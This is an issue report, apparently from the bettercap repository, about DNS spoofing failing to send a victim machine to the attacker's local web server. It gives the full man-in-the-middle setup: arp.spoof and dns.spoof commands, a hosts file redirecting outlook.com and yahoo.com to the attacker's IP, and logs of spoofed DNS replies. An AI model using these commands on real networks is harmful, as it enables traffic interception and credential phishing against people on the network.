DNS.spoof not working as expected
Prerequisites
Please, before creating this issue make sure that you read the README, that you are running the latest stable version and that you already searched other issues to see if your problem or request was already reported.
! PLEASE REMOVE THIS PART AND LEAVE ONLY THE FOLLOWING SECTIONS IN YOUR REPORT !
Bettercap DNS.spoof does not send the the victim to the apache server/Kali IP on eth0 192.168.0.71
BetterCap Version latest stable 2.24.1
Kali / Attacker - 192.168.0.71 Victim - 192.168.0.60
Steps to reproduce set dns.spoof.hosts hosts.conf dns.spoof on
192.168.0.0/24 > 192.168.0.71 » dns.spoof on 192.168.0.0/24 > 192.168.0.71 » [15:54:41] [sys.log] [inf] dns.spoof *.sabay.com.kh -> 192.168.0.71 192.168.0.0/24 > 192.168.0.71 » [15:54:41] [sys.log] [inf] dns.spoof loading hosts from file hosts.conf ... 192.168.0.0/24 > 192.168.0.71 » [15:54:41] [sys.log] [inf] dns.spoof *.yahoo.com -> 192.168.0.71 192.168.0.0/24 > 192.168.0.71 » [15:54:41] [sys.log] [inf] dns.spoof *.outlook.com -> 192.168.0.71 192.168.0.0/24 > 192.168.0.71 » [15:54:41] [sys.log] [inf] dns.spoof *.typing.com -> 192.168.0.71
set arp.spoof.targets 192.168.0.60
192.168.0.0/24 > 192.168.0.71 » arp.spoof on 192.168.0.0/24 > 192.168.0.71 » [15:35:58] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets. 192.168.0.0/24 > 192.168.0.71 »
host.conf file 192.168.0.71 *.yahoo.com 192.168.0.71 *.typing.com 192.168.0.71 *.outlook.com
Sys.log when going on victim PC 192.168.0.0/24 > 192.168.0.71 » [15:55:29] [sys.log] [inf] dns.spoof sending spoofed DNS reply for www.typing.com (->192.168.0.71) to 192.168.0.60 : 2c:fd:a1:5a:17:dc (ASUSTek COMPUTER INC.) - DESKTOP-QAE0QVC 192.168.0.0/24 > 192.168.0.71 » [15:56:28] [sys.log] [inf] dns.spoof sending spoofed DNS reply for www.outlook.com (->192.168.0.71) to 192.168.0.60 : 2c:fd:a1:5a:17:dc (ASUSTek COMPUTER INC.) - DESKTOP-QAE0QVC
Victim PC either 'site can't be reached' or original site requested will appear after some time, ie outlook.com will load after a minute or so.
arp.ban completely kills the victim pc.
expected result; server page appears.
Environment
Please provide:
- Bettercap version you are using (
bettercap -version). - OS version and architecture you are using.
- Go version if building from sources.
- Command line arguments you are using.
- Caplet code you are using or the interactive session commands.
- Full debug output while reproducing the issue (
bettercap -debug ...).
Steps to Reproduce
- First Step
- Second Step
- and so on...
Expected behavior: What you expected to happen
Actual behavior: What actually happened
--
♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥
Source: bettercap/bettercap